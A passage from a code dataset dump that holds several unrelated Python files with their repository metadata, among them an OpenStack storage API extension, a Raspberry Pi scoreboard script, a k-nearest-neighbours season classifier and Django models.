Calls\nPOSSIBLE_ATTRIBUTES = ['id', 'service', 'storage_hostname',\n 'backend_id', 'backend_type', 'backend_state',\n 'volume_count', 'total_capacity_gb', 'free_capacity_gb']\n\n\nclass StorageProviderListTemplate(xmlutil.TemplateBuilder):\n \"\"\"Utility Class to Convert a JSON Response to XML for Storage Providers\"\"\"\n\n def construct(self):\n \"\"\"Template Constructor to convert the JSON to an XML Response\"\"\"\n root = xmlutil.TemplateElement('storage_providers')\n elem = xmlutil.SubTemplateElement(root, 'storage_provider',\n selector='storage_providers')\n #Map each of the Possible Attributes to the same XML Attribute Name\n for attr in POSSIBLE_ATTRIBUTES:\n elem.set(attr)\n return xmlutil.MasterTemplate(root, 1)\n\n\nclass StorageProviderShowTemplate(xmlutil.TemplateBuilder):\n \"\"\"Utility Class to Convert a JSON Response to XML for Storage Providers\"\"\"\n\n def construct(self):\n \"\"\"Template Constructor to convert the JSON to an XML Response\"\"\"\n root = xmlutil.TemplateElement('storage_provider',\n selector='storage_provider')\n #Map each of the Possible Attributes to the same XML Attribute Name\n for attr in POSSIBLE_ATTRIBUTES:\n root.set(attr)\n return xmlutil.MasterTemplate(root, 1)\n\n\nclass StorageProviderControllerExtension(wsgi.Controller):\n \"\"\"Main Controller Class to extend the storage-providers API\"\"\"\n\n def __init__(self):\n \"\"\"Constructor for the Storage Providers Controller Extension\"\"\"\n super(StorageProviderControllerExtension, self).__init__()\n\n @wsgi.serializers(xml=StorageProviderListTemplate)\n def index(self, req):\n \"\"\"Implements the HTTP GET for the /storage-providers URI\"\"\"\n providers = []\n context = req.environ['cinder.context']\n context = self._validate_authorization(context, 'index')\n #Retrieve all of the Storage Nodes from the Database\n storage_nodes = paxes_db_api.storage_node_get_all(context)\n for node in storage_nodes:\n provider = self._parse_storage_provider(node)\n hostname = provider['storage_hostname']\n #We only want to return the Id and Host-name from Index\n providers.append({'id': provider['id'],\n 'storage_hostname': hostname})\n return {'storage_providers': providers}\n\n @wsgi.serializers(xml=StorageProviderListTemplate)\n def detail(self, req):\n \"\"\"Implements the HTTP GET for the /storage-providers/detail URI\"\"\"\n providers = []\n context = req.environ['cinder.context']\n context = self._validate_authorization(context, 'index')\n #Retrieve all of the Storage Nodes from the Database\n storage_nodes = paxes_db_api.storage_node_get_all(context)\n #Return all of the details for each of the Storage Nodes found\n for storage_node in storage_nodes:\n providers.append(self._parse_storage_provider(storage_node))\n return {'storage_providers': providers}\n\n @wsgi.serializers(xml=StorageProviderShowTemplate)\n def show(self, req, id):\n \"\"\"Implements the HTTP GET for the /storage-providers/{id} URI\"\"\"\n storage_node = None\n context = req.environ['cinder.context']\n context = self._validate_authorization(context, 'show')\n #Retrieve the Storage Node for the ID from the Database\n if id.isdigit():\n storage_node = paxes_db_api.storage_node_get(context, id)\n #If we didn't find the Storage Provider, throw an exception\n if not storage_node:\n msgtxt = \"Storage Provider with ID '\" + id + \"' could not be found\"\n raise webob.exc.HTTPNotFound(explanation=msgtxt)\n #Parse the appropriate attributes out of the Storage Node\n provider = self._parse_storage_provider(storage_node)\n return {'storage_provider': provider}\n\n @staticmethod\n def _validate_authorization(context, action):\n \"\"\"Internal Helper Method to Confirm the Requester is Authorized\"\"\"\n #We want to use the more granular version, but can't until it exists\n AUTHORIZE(context, action=action)\n return context.elevated()\n\n @staticmethod\n def _parse_storage_provider(storage_node):\n \"\"\"Helper Method to Parse the return values out of the Storage Node\"\"\"\n provider = dict()\n for attr in POSSIBLE_ATTRIBUTES:\n #If this is the Service attribute, we need to parse it special\n if attr == 'service':\n provider['service'] = {'id': storage_node['service_id']}\n provider['service']['host'] = storage_node['storage_hostname']\n #Otherwise it is just a 1-to-1 mapping from the Storage Node\n else:\n provider[attr] = storage_node[attr]\n return provider\n\n\nclass Storage_providers(extensions.ExtensionDescriptor):\n \"\"\"Provides additional Metric and Status for the Storage Providers\"\"\"\n name = \"Retrieve Storage Providers\"\n alias = \"storage-providers\"\n namespace = \"http://docs.openstack.org/volume/ext/\" + \\\n \"ibm_storage_providers/api/v1.2\"\n updated = \"2013-07-02T21:00:00-06:00\"\n\n def get_resources(self):\n \"\"\"Provide a Resource Extension to the /storage-providers Resource\"\"\"\n resource = extensions.ResourceExtension(\n 'storage-providers', StorageProviderControllerExtension(),\n collection_actions={'detail': 'GET'})\n return [resource]\n","repo_name":"windskyer/k_cinder","sub_path":"paxes_cinder/api/plugins/storage_providers.py","file_name":"storage_providers.py","file_ext":"py","file_size_in_byte":6224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23414990981","text":"#/usr/bin/python3\n\n\n\ndef input_row():\n p = int(input())\n \n arr = []\n for i in range(4):\n arr.append(list(map(int, input().split())))\n \n return arr[p-1]\n\n\n\nT = int(input())\n\nfor t in range(T):\n \n row1 = input_row()\n row2 = input_row()\n \n poss = set(row1) & set(row2)\n \n if len(poss) == 0:\n print(\"Case #%d: Volunteer cheated!\" % (t+1))\n elif len(poss) == 1:\n print(\"Case #%d: %d\" % (t+1, poss.pop()))\n else:\n print(\"Case #%d: Bad magician!\" % (t+1))\n \n\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/2848.py","file_name":"2848.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25265592565","text":"# \"\"\"__author__=吴佩隆\"\"\"\n#\n# from random import randint\n#\n# list_1 = ['张三', '张三', '张三', '张三', '张三', '李四', '张三', '李四', '张三', '李四']\n#\n# for i in range(len(list_1)):\n# for j in range(len(list_1)-1):\n# if list_1[j] > list_1[j+1]:\n# list_1[j], list_1[j+1] = list_1[j+1], list_1[j]\n# print(list_1)\n#\n#\n# list_2 = list_1[:]\n# for j in range(len(list_1)-1):\n# if list_1[j] == list_1[j+1]:\n# list_2.remove(list_1[j])\n# print(list_2)\n# print(list_2)\n#\n\ns = '{[]}'\nprint(s[0]==s[-1])\ndef A(s):\n a = ['()', '[]', '{}']\n if s != '':\n if len(s) & 1 == 0:\n if s[0] == s[-1]:\n for i in range(len(s) // 2):\n if s[i] != s[-1 - i]:\n return False\n else:\n return True\n\n\n else:\n num = 0\n for i in range(len(s) // 2):\n if (s[i + num] + s[i + num + 1]) not in a:\n return False\n num += 1\n else:\n return True\n else:\n return False\n else:\n return False\n\nprint(A(s))","repo_name":"ikaros274556330/my_code","sub_path":"python_1000phone/语言基础/day6-列表元组和数字/code/test1.0.py","file_name":"test1.0.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16467716284","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport time\nimport sys\nimport json\nimport os.path\nimport constants as c \n\nfrom datetime import datetime\nfrom samplebase import SampleBase\nfrom rgbmatrix import RGBMatrix, RGBMatrixOptions, graphics\nfrom PIL import Image\nfrom PIL import ImageDraw\nimport logging\nfrom logging import handlers\n\nDEFAULT_CLUB_CREST = '/home/pi/rpi-led-scoreboard/img/teams/default.png' \nWEATHER_JSON = '/home/pi/rpi-led-scoreboard/weather.json' \nALL_TEAMS = \"all\"\n\nclass RunScoreboard(SampleBase):\n def __init__(self, *args, **kwargs):\n super(RunScoreboard, self).__init__(*args, **kwargs)\n\n def run(self):\n score_team_home = ''\n score_team_away = ''\n image_home = None\n image_away = None\n match_status = ''\n match_start_time = ''\n\n while True:\n\n matrix = self.matrix\n matrix.Clear()\n\n valid_matches = False\n\n with open('/home/pi/rpi-led-scoreboard/config.json') as config_file:\n try:\n config = json.load(config_file)\n if config['state'] == \"0\":\n time.sleep(60)\n continue\n except ValueError as e:\n logging.error(\"Ln: 47 \" + str(e))\n time.sleep(60)\n continue\n \n # Custom matches\n if config['state'] == \"2\":\n\n with open('/home/pi/rpi-led-scoreboard/custom_matches.json') as json_file_custom_matches:\n try:\n data = json.load(json_file_custom_matches)\n except Exception as e:\n logging.error(\"Ln: 61 \" + str(e))\n time.sleep(60)\n continue\n for fixture in data:\n single_match_display(matrix, fixture)\n continue\n\n with open('/home/pi/rpi-led-scoreboard/matches.json') as json_file:\n try:\n data = json.load(json_file)\n if config['state'] == \"0\":\n time.sleep(60)\n continue\n except ValueError as e:\n logging.error(\"Ln: 75 \" + str(valid_matches) + \" \" + str(e))\n time.sleep(60)\n continue\n\n if(config[\"team\"] != ALL_TEAMS ): # pick out team if specified\n data = [x for x in data if x[\"team-home\"] == config['team'] or x[\"team-away\"] == config['team']]\n\n if(len(data) == 0): # No matches today\n if( os.path.getsize(WEATHER_JSON) > 0):\n try:\n with open(WEATHER_JSON) as json_file:\n weather = json.load(json_file)\n\n if 'main' in weather:\n # Icon\n weather_icon = \"/home/pi/rpi-led-scoreboard/img/weather/icons/\" + weather['weather'][0]['icon'] + \".png\"\n if os.path.isfile(weather_icon):\n try:\n image_weather_icon = Image.open(weather_icon)\n matrix.SetImage(image_weather_icon.convert('RGB'), 0, 8)\n except OSError as e:\n logging.error(\"Ln: 92 \" + str(e))\n except Exception as e:\n logging.error(\"Ln: 94 \" + str(e))\n # Temp\n fontTemp = graphics.Font()\n fontTemp.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/5x7.bdf\")\n yellow = graphics.Color(255, 255, 0)\n temp = str(int(weather['main']['temp'])) + c.DICT_TEMP_TYPES[config[\"weather_api_units\"]] \n graphics.DrawText(matrix, fontTemp, 40, 14, yellow, temp)\n\n # Conditions\n fontConditions = graphics.Font()\n fontConditions.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/6x13B.bdf\")\n yellow = graphics.Color(255, 255, 0)\n weather_conditions = weather['weather'][0]['main']\n graphics.DrawText(matrix, fontConditions, 0, 10, yellow, weather_conditions)\n except Exception as e:\n logging.error(\"Ln: 109 \" + str(e))\n \n\n # Time\n fontTime = graphics.Font()\n fontTime.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/5x7.bdf\")\n yellow = graphics.Color(255, 255, 0)\n now = datetime.now()\n current_time = now.strftime(\"%H:%M\")\n graphics.DrawText(matrix, fontTime, 40, 7, yellow, current_time)\n time.sleep(60)\n\n else:\n for fixture in data:\n single_match_display(matrix, fixture)\n\ndef json_validator(data):\n try:\n json.loads(data.read())\n return True\n except ValueError as error:\n print(\"invalid json: %s\" % error)\n return False\n\ndef single_match_display(_matrix, _fixture):\n _matrix.Clear()\n text_team_home = _fixture['team-home']\n text_team_away = _fixture['team-away']\n score_team_home = _fixture['score-home']\n score_team_away = _fixture['score-away']\n\n file_image_home = '/home/pi/rpi-led-scoreboard/img/teams/' + text_team_home + '.png'\n if os.path.isfile(file_image_home):\n image_home = Image.open(file_image_home)\n else:\n image_home = Image.open(DEFAULT_CLUB_CREST)\n\n file_image_away = '/home/pi/rpi-led-scoreboard/img/teams/' + text_team_away + '.png'\n if os.path.isfile(file_image_away):\n image_away = Image.open(file_image_away)\n else:\n image_away = Image.open(DEFAULT_CLUB_CREST)\n\n match_status = _fixture['status']\n match_start_time = _fixture['start-time'] \n match_start_date = \"\"\n match_location = \"\"\n \n if( 'start-date' in _fixture):\n match_start_date = _fixture['start-date'] \n\n if( 'location' in _fixture):\n match_location = _fixture['location']\n\n _matrix.SetImage(image_home.convert('RGB'), -16, 0)\n _matrix.SetImage(image_away.convert('RGB'), 48, 0)\n\n fontScore = graphics.Font()\n fontScore.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/6x13B.bdf\")\n yellow = graphics.Color(255, 255, 0)\n graphics.DrawText(_matrix, fontScore, 17, 10, yellow, \"{0} - {1}\".format(str(score_team_home), str(score_team_away) ) )\n\n green = graphics.Color(0, 255, 0)\n fontStatus = graphics.Font()\n fontStatus.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/6x13B.bdf\")\n font_width = 6\n if match_status == \"\" :\n text_len = len(match_start_time)\n graphics.DrawText(_matrix, fontStatus, 32-(font_width * (text_len / 2)), 20, green, \"{0}\".format(match_start_time) )\n else:\n text_len = len(match_status)\n if text_len > 5 :\n font_width = 5\n\n image = Image.new(\"RGB\", ( (font_width * text_len)+1, 8))\n draw = ImageDraw.Draw(image)\n draw.rectangle((0, 0, (font_width *text_len)+1, 8), fill=(0, 0, 0), outline=(0, 0, 0))\n _matrix.SetImage(image, 31-(font_width * (text_len / 2)), 13)\n\n fontStatus.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/5x8.bdf\")\n graphics.DrawText(_matrix, fontStatus, 32-(font_width * (text_len / 2)), 20, green, \"{0}\".format(match_status) )\n\n text_len = len(match_start_date)\n \n image = Image.new(\"RGB\", ((5 * text_len)+1, 8))\n draw = ImageDraw.Draw(image)\n draw.rectangle((0, 0, (5*text_len)+1, 8), fill=(0, 0, 0), outline=(0, 0, 0))\n _matrix.SetImage(image, 31-(5* (text_len / 2)), 24)\n\n fontStartDate = graphics.Font()\n fontStartDate.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/5x7.bdf\")\n graphics.DrawText(_matrix, fontStartDate, 32-(5* (text_len / 2)), 31, yellow, \"{0}\".format(match_start_date) )\n\n time.sleep(5)\n # Blank out date so it doesn't show behind location\n image = Image.new(\"RGB\", ((5 * text_len)+1, 8))\n draw = ImageDraw.Draw(image)\n draw.rectangle((0, 0, (5*text_len)+1, 8), fill=(0, 0, 0), outline=(0, 0, 0))\n _matrix.SetImage(image, 31-(5* (text_len / 2)), 24)\n\n text_len = len(match_location)\n \n image = Image.new(\"RGB\", ((5 * text_len)+1, 8))\n draw = ImageDraw.Draw(image)\n draw.rectangle((0, 0, (5*text_len)+1, 8), fill=(0, 0, 0), outline=(0, 0, 0))\n _matrix.SetImage(image, 31-(5* (text_len / 2)), 24)\n\n fontLocation = graphics.Font()\n fontLocation.LoadFont(\"/home/pi/rpi-led-scoreboard/fonts/5x7.bdf\")\n graphics.DrawText(_matrix, fontLocation, 32-(5* (text_len / 2)), 31, yellow, \"{0}\".format(match_location) )\n\n time.sleep(30)\n\n# Main function\nif __name__ == \"__main__\":\n logging.basicConfig(format='%(asctime)s %(name)s %(levelname)s: %(message)s', \n level=logging.INFO,\n handlers=[\n handlers.RotatingFileHandler(\n '/home/pi/rpi-led-scoreboard/scoreboard.log',\n maxBytes=10240, backupCount=3)\n ]\n )\n logging.info('Started')\n try:\n run_scoreboard = RunScoreboard()\n if (not run_scoreboard.process()):\n run_scoreboard.print_help()\n except Exception as e:\n logging.error(\"Ln: 216 \" + str(e))\n logging.info('Finished')","repo_name":"CodeSingh/rpi-led-scoreboard","sub_path":"image_viewer.py","file_name":"image_viewer.py","file_ext":"py","file_size_in_byte":9697,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"22202820367","text":"# Exemplo de uso dos sets\n\nletras = set()\nwhile True:\n letra = input('Digite: ').lower()\n letras.add(letra)\n\n if 'l' in letras:\n print('PARABÉNS 🥳')\n break\n else:\n print('Que Tente novamente! 😩')\n ","repo_name":"DiogoSantosDaSilva/python_intermediario","sub_path":"aula23.py","file_name":"aula23.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35862879905","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nTEST_PRINTS = True\n\n\nclass DataSet:\n \"\"\"\n A class used to hold weather data for a specific year.\n It reads the data and the corresponding labels from provided files\n and stores them to be used by the SeasonIdentifier class.\n \"\"\"\n\n def __init__(self, data_list__init, data_labels__init):\n # Read the data from the file, excluding the first collumn as this contains\n # the data labels. Also, if the data in collumn 5 and 7 is <\n self.data_list = data_list__init\n self.data_labels = data_labels__init\n\n\n def __repr__(self):\n \"\"\"\n A function to print this instance and all it's data\n :return:\n \"\"\"\n repr_str = \"Dataset class instance\\n\"\n repr_str += \"Days measured : \" + str(self.data_list.shape[0]) + \"\\n\"\n repr_str += \"Data amount : \" + str(self.data_list.size) + \"\\n\"\n repr_str += \"Data type : \" + str(self.data_list.dtype) + \"\\n\"\n\n for index in range(0, len(self.data_list)):\n repr_str += self.data_labels[index] + \" : \" + str(self.data_list[index]) + \"\\n\"\n return repr_str\n\n def addData(self, filepath):\n # Read the data from the file, excluding the first collumn as this contains\n # the data labels. Also, if the data in collumn 5 and 7 is <\n\n new_data = np.genfromtxt(filepath,\n delimiter=\";\",\n usecols=[1, 2, 3, 4, 5, 6, 7],\n converters={5: lambda s: 0 if s == b\"-1\" else float(s),\n 7: lambda s: 0 if s == b\"-1\" else float(s)})\n print(new_data)\n self.data_list = np.concatenate((self.data_list, new_data), axis = 0)\n\n dates = np.genfromtxt(filepath, delimiter=\";\", usecols=[0])\n\n\n for label in dates:\n if label < 20000301:\n self.data_labels.append(\"winter\")\n elif 20000301 <= label < 20000601:\n self.data_labels.append(\"spring\")\n elif 20000601 <= label < 20000901:\n self.data_labels.append(\"summer\")\n elif 20000901 <= label < 20001201:\n self.data_labels.append(\"fall\")\n else: # from 01-12 to end of year\n self.data_labels.append(\"winter\")\n\n def getFeaturesMax(self):\n \"\"\"\n A function that returns an array containing the max value of all data contained in the\n dataset\n\n :return: An array with the max for all data\n \"\"\"\n\n # For each feature get the index of the feature vector where the max value was measured\n max_indices = np.argmax(self.data_list, axis=0)\n\n # Use these indices to extract the actual maximum values per feature\n max_values = []\n for feature_index in range(0, self.data_list.shape[1]):\n max_values.append(self.data_list[max_indices[feature_index]][feature_index])\n\n return max_values\n\n def getFeaturesMin(self):\n \"\"\"\n A function that returns an array containing the min value of all data contained in the\n dataset\n\n :return: An array with the min for all data\n \"\"\"\n # For each feature get the index of the feature vector where the min value was measured\n max_indices = np.argmin(self.data_list, axis=0)\n\n # Use these indices to extract the actual minimum values per feature\n max_values = []\n for feature_index in range(0, self.data_list.shape[1]):\n max_values.append(self.data_list[max_indices[feature_index]][feature_index])\n\n return max_values\n\n def getNormalized(self):\n \"\"\"\n A function that returns the stored dataset list in normalized form\n :return: An normalized ndarray of the stored dataset\n \"\"\"\n\n #Get the sum of all features per feature vector\n #row_sums = self.data_list.sum(axis=1)\n\n #Use these feature sums to normalize the enire data list\n #new_matrix = self.data_list / row_sums[:, np.newaxis]\n #A = (self.data_list - np.mean(self.data_list)) / np.std(self.data_list)\n #print(A)\n\n normed_data = (self.data_list - self.data_list.min(0)) / self.data_list.ptp(0)\n #print(normed_data)\n return normed_data\n\n\nclass SeasonIdentifier:\n \"\"\"\n A class used to identify the seasons based on weather data for a specific year.\n Is uses data stored in DataSet class instances as containers to determine\n when seasons start and end using a K-nearest neighbours algorithm.\n \"\"\"\n\n def __init__(self, dataset_training__init):\n \"\"\"\n An initialization function\n \"\"\"\n self.training_data = dataset_training__init # The dataset containing the YearDataset instances\n\n\n def printData(self):\n \"\"\"\n A function to print all data contained in all datasets\n :return:\n \"\"\"\n #for year in self.trainingdata_dict :\n # print(\"Year\\t\\t\\t: \" + str(year))\n # print(self.trainingdata_dict[year])\n print(\"Trainingsdata: {}\".format(self.training_data))\n\n\n def addTrainingdata(self, filepath):\n \"\"\"\n A function that creates a new DataSet class instance and adds it to the\n dataset dictionary class attribute.\n\n Args:\n filepath (string): The path to the weather data .csv file\n \"\"\"\n\n # Create a new DataSet instance and add it to the dataset dictionary\n self.training_data.AddData(filepath)\n\n\n def getDistanceBetweenPoints(self, point_1, point_2):\n \"\"\"\n This function calculates the distance between two normalized points\n :param point_1: The first point\n :param point_2: The second point\n :return: The distance between the two points\n \"\"\"\n\n # Substract the first point from the second point\n data_cords = np.subtract(point_2, point_1 )\n #print(\"point 1: {}\".format(point_1))\n #print(\"point 2: {}\".format(point_2))\n #print(\"data cords: {}\".format(data_cords))\n #for value in data_cords:\n # print(value, \" * \", value, \" = \", value*value)\n\n #distance = np.hypot(point_1, point_2)\n #print(\"distance: {}\".format(distance))\n # Use pythagoras to calculate the distance between the two points\n # Use pythagoras to calculate the distance between the two points\n #distance = np.sum(list(map(lambda x: x * x, data_cords)))\n #print(\"distance 1: {}\".format(distance))\n distance = np.linalg.norm(point_1 - point_2)\n #print(\"distance 2: {}\".format(distance))\n return distance\n\n\n def getDistanceToAllPoints(self, year, point):\n \"\"\"\n This function calculates the distance from each data input in the dataset for a\n specified year from another data input using pythagoras.\n\n :param the year of the specific dataset:\n :param the point to which all distances are calculated:\n :return:\n \"\"\"\n #Calculate the minimal and maximum values for all features in all feature vectors in the specified dataset\n max_feature_values = self.training_data.getFeaturesMax()\n min_feature_values = self.training_data.getFeaturesMin()\n\n # Calculate the range of all stored data\n feature_range = np.subtract(max_feature_values, min_feature_values)\n\n #Normalize the data point from which the distance will be calculated\n #point_norm = np.divide(np.subtract(point, self.trainingdata_dict[year].data_list.min(0)), self.trainingdata_dict[year].data_list.ptp(0))\n point_norm = (point - self.training_data.data_list.min(0)) / self.training_data.data_list.ptp(0)\n #point_norm = (point - (self.trainingdata_dict[year].data_list + [point]).min(0)) / (self.trainingdata_dict[year].data_list + [point]).ptp(0)\n #normed_data = (self.data_list - self.data_list.min(0)) / self.data_list.ptp(0)\n\n\n #print(\"1: {}\".format(np.subtract(max_feature_values, min_feature_values)))\n #print(\"2: {}\".format(self.trainingdata_dict[year].data_list.ptp(0)))\n\n\n #Get a list of normalized feature vectors from the specified data set\n feature_vectors_norm = self.training_data.getNormalized()\n def calcDistances(index = 0):\n \"\"\"\n A recursive function that calculates the distance from the provided reference point to all\n normalized points of data in a dataset for the specified year\n :param the index of the feature vector the function is to calculate the distance to:\n :return a list of all currently calculated distances:\n \"\"\"\n #If the distance to all data vectors has been calculated, return None\n if(index >= len(self.training_data.data_list)):\n return None\n\n #Get the distance between the normalized point and the current feature vector\n current_distance = self.getDistanceBetweenPoints(point_norm, feature_vectors_norm[index])\n #current_distance = self.getDistanceBetweenPoints(point, self.trainingdata_dict[year].data_list[index])\n #Increment the index and get the next distance\n index += 1\n next_distance = calcDistances(index)\n\n # If the next next distance is not none, return it joined with the currently obtained distances. Otherwise\n # return only the current distance stored within a list\n return ([current_distance, *next_distance] if next_distance is not None else [current_distance])\n return calcDistances()\n\n\n def getNearestNeighbours(self, k, validation_vector):\n \"\"\"\n A function that uses the calculated distance between the validation vector and all points\n in the training set, and returns the k nearest neighbouring feature vectors and their corresponding\n seasons.\n :param k: the value of k\n :param validation_vector: the vector from which the distance will be calculated\n :return: the k nearest neighbours with their corresponding seasons and distance\n \"\"\"\n #Get the distance from the validation vector to all feature vectors in the trianing set\n distances = self.getDistanceToAllPoints(2000, validation_vector)\n\n #Get the indexes of smallest distances. Argpartition does not sort the array,\n #it guarantees that the k'th element is in sorted position and all smaller elements are before it.\n smallest_value_indexes = np.argpartition(distances, k)\n\n # Zip the distances with the data labels in order to have the corresponding season per distance\n labeled_distances = np.column_stack((self.training_data.data_labels, distances))\n\n #Extract the smallest distances and their corresponding seasons using the smallest value indexes\n nearest_neighbours = labeled_distances[smallest_value_indexes[:k]]\n\n if(not TEST_PRINTS):\n print(\"Function: getNearestNeighbours: \")\n print(\"Nearest neighbours: \")\n for distance in nearest_neighbours:\n print(\"\\t\", distance[0], \" : \", distance[1])\n print()\n\n return nearest_neighbours\n\n def identifyFeatureVector(self, k, validation_vector):\n \"\"\"\n this function determines the corresponding season to a validation vector using\n the k-nearest neighbour algorithm.\n :param k: the value for k\n :param validation_vector: the validation feature vector whom's season is to be determined\n :return: the determined season corresponding to the validation vector\n \"\"\"\n #Get the k nearest neigbhbours to the validation vector\n nearest_neighbours = self.getNearestNeighbours(k, validation_vector)\n\n #Create a 2D array containin a season and the amount of neighbours corresponding to that season\n season_count = np.array([\n [\"winter\", np.count_nonzero(nearest_neighbours == \"winter\")],\n [\"spring\", np.count_nonzero(nearest_neighbours == \"spring\")],\n [\"fall\", np.count_nonzero(nearest_neighbours == \"fall\")],\n [\"summer\", np.count_nonzero(nearest_neighbours == \"summer\")],\n ])\n\n #Sort the array by second collumn\n season_count_sorted = season_count[np.argsort(season_count[:, 1])]\n\n\n if(not TEST_PRINTS):\n print(\"Counted seasons: \")\n print(\"\\tWinter: {}\".format(season_count[0][1]))\n print(\"\\tSpring: {}\".format(season_count[1][1]))\n print(\"\\tFall: {}\".format(season_count[2][1]))\n print(\"\\tSummer: {}\".format(season_count[3][1]))\n\n #Return the season which appeared the most often\n return season_count_sorted[-1][0]\n\n def evaluate(self, k, validation_set):\n \"\"\"\n This function determines the succesrate of the k-nearest neighbour algorithm\n when using a specific value for k on a validation set\n :param k: the value for k\n :param validation_set: The set to be validated\n :return: The overall succesrate for all feature vectors in the validation set\n \"\"\"\n #Get the season estimation using the K-neares neighbour algorithm\n\n succes_percentages = []\n\n for k_index in range(0, 80):\n correct_estimations = 0\n for index in range(0, len(validation_set.data_list)):\n estimated_season = self.identifyFeatureVector(k_index, validation_set.data_list[index])\n if(not TEST_PRINTS):\n print(\"Estimated season: {}\".format(estimated_season))\n print(\"Actual season: {}\".format(validation_set.data_labels[index]))\n print()\n if(estimated_season == validation_set.data_labels[index]):\n correct_estimations += 1\n\n succes_percentages.append((correct_estimations / len(validation_set.data_list)) * 100)\n\n print(\"Total validation feature vectors: {}\".format(len(validation_set.data_list)))\n for index in range(0, len(succes_percentages)):\n print(\"k({}) : {}\".format(index, succes_percentages[index]))\n\n #print(\"Correct estimations: {}\".format(correct_estimations))\n #print(\"Succes percentage: {}\".format(succes_percentage))\n\n #estimated_season = self.identifyFeatureVector(k, validation_set.data_list[0])\n #print(\"Estimated season: {}\".format(estimated_season))\n #print(\"Actual season: {}\".format(validation_set.data_labels[0]))\n\n\n\ndatalist_training = np.genfromtxt(\"dataset_2000.csv\",\n delimiter=\";\",\n usecols=[1, 2, 3, 4, 5, 6, 7],\n converters={5: lambda s: 0 if s == b\"-1\" else float(s),\n 7: lambda s: 0 if s == b\"-1\" else float(s)})\n\ndates = np.genfromtxt(\"dataset_2000.csv\", delimiter=\";\", usecols=[0])\ndatalabels_training = []\nfor label in dates:\n if label < 20000301:\n datalabels_training.append(\"winter\")\n elif 20000301 <= label < 20000601:\n datalabels_training.append(\"spring\")\n elif 20000601 <= label < 20000901:\n datalabels_training.append(\"summer\")\n elif 20000901 <= label < 20001201:\n datalabels_training.append(\"fall\")\n else: # from 01-12 to end of year\n datalabels_training.append(\"winter\")\n\ndataset_training = DataSet(datalist_training, datalabels_training)\n\n\n\n\ndatalist_validation = np.genfromtxt(\"dataset_2001.csv\",\n delimiter=\";\",\n usecols=[1, 2, 3, 4, 5, 6, 7],\n converters={5: lambda s: 0 if s == b\"-1\" else float(s),\n 7: lambda s: 0 if s == b\"-1\" else float(s)})\n\ndates = np.genfromtxt(\"dataset_2001.csv\", delimiter=\";\", usecols=[0])\ndatalabels_validation = []\nfor label in dates:\n if label < 20010301:\n datalabels_validation.append(\"winter\")\n elif 20010301 <= label < 20010601:\n datalabels_validation.append(\"spring\")\n elif 20010601 <= label < 20010901:\n datalabels_validation.append(\"summer\")\n elif 20010901 <= label < 20011201:\n datalabels_validation.append(\"fall\")\n else: # from 01-12 to end of year\n datalabels_validation.append(\"winter\")\n\ndataset_validation = DataSet(datalist_validation, datalabels_validation)\n\n\n#Create a SeasonIdentifier class instance\nseason_identifier = SeasonIdentifier(dataset_training)\n\n\n\n#Read the data from the year 2001. This is the validation data\n#season_identifier.addTrainingdata(2001, \"dataset_2001.csv\")\n#feature_vectors_norm = dataset_validation.getNormalized()\n\n\n\n\n\n#season_identifier.printData()\n\n#test_data = np.array([0, 0, 0, 0, 0, 0, 0])\n\n#season_identifier.getDistanceToAllPoints(2000, test_data)\n#season_identifier.identifyFeatureVector(10, validation_set)\nseason_identifier.evaluate(45, dataset_validation)\n","repo_name":"MatthiesBrouwer/AAI_Assignments_2021","sub_path":"Assignment_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72938757633","text":"from django.db import models\nfrom ckeditor_uploader.fields import RichTextUploadingField\nimport datetime\n# Create your models here.\n\nclass Post(models.Model):\n content = RichTextUploadingField(blank=True, null = True)\n\n def __str__(self):\n return f'post_id-{self.id} - {datetime.datetime.now()}'\n\nclass Header(models.Model):\n date = models.DateTimeField(auto_now_add=True)\n email = models.EmailField(null = True, blank = True)\n name = models.CharField(max_length = 50)\n\n def __str__(self):\n return f'{self.name}_{self.email}'\n\nclass Footer(models.Model):\n page = models.IntegerField(null=True, blank = True)\n text = models.TextField(null=True, blank = True)\n\n def __str__(self):\n return f'{self.page}_{self.text}'\n\ndef get_latest_header():\n try:\n header = list(Header.objects.all())[-1]\n return {'date':header.date, 'email': header.email, 'name':header.name}\n except Exception:\n return {'date':'', 'email': '', 'name':''}\n\ndef get_latest_footer():\n try:\n header = list(Footer.objects.all())[-1]\n return {'page':header.page, 'text':header.text }\n except Exception:\n return {'page':'', 'text':'' }\n\ndef get_latest_post():\n try:\n header = list(Post.objects.all())[-1]\n return header.content\n except Exception:\n return 'No Post was created so displaying DEFAULT TEXT as content'","repo_name":"LaxminarayanaV7416/handsOnDjango","sub_path":"hands_on_d/main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71459342273","text":"import numpy as np\nimport random\nimport copy\n\nfrom constants import *\nfrom drone import Drone\nfrom mobile_robot import MobileRobot\nfrom render import Render\n\nnp.set_printoptions(precision=3, suppress=True)\nclass Env:\n def __init__(self, numDrones, numMobileRobs):\n self.drones = self.initDrones(numDrones)\n self.mobilerobots = self.initMobileRobs(numMobileRobs)\n self.numCollectionPts = 20\n self.areaLength = 20 # in 